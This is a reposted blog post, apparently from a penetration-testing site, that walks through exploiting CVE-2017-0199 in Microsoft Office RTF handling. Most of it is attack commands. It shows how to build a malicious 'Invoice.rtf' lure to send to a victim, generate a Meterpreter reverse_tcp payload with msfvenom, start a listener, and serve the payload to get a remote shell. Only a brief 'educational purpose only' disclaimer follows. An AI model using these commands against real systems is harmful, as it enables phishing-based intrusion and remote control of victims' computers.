Microsoft Office Word RTF RCE vulnerability,cve-2017-0199,cve-2017-0199 metasploit

What is CVE-2017-0199?

Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1 allow remote attackers to execute arbitrary code via a crafted document, aka “Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows API.”

Exploit

Download cve-2017-0199_toolkit

Generate malicious RTF file using following command and send it to victim

Syntax:

# python cve-2017-0199_toolkit.py -M gen -w -u

Example:

# python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://ift.tt/2pEyFsc

(Optional, if using MSF Payload) : Generate metasploit payload and start handler

Example:

Generate Payload:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe

Start Handler:

# msfconsole -x “use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run”

Start toolkit in exploitation mode to deliver payloads

Syntax:

# python cve-2017-0199_toolkit.py -M exp -e -l

Example:

# python cve-2017-0199_toolkit.py -M exp -e http://ift.tt/2pEAOnr -l /tmp/shell.exe

DEMO

Note

This program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (bhdresh) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs.

Reference

http://ift.tt/2onJtG8

The post CVE-2017-0199: Microsoft Office Word RTF RCE vulnerability appeared first on Penetration Testing in Linux. http://ift.tt/2pELf7V http://ift.tt/2aM8QhC

Anúncios

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s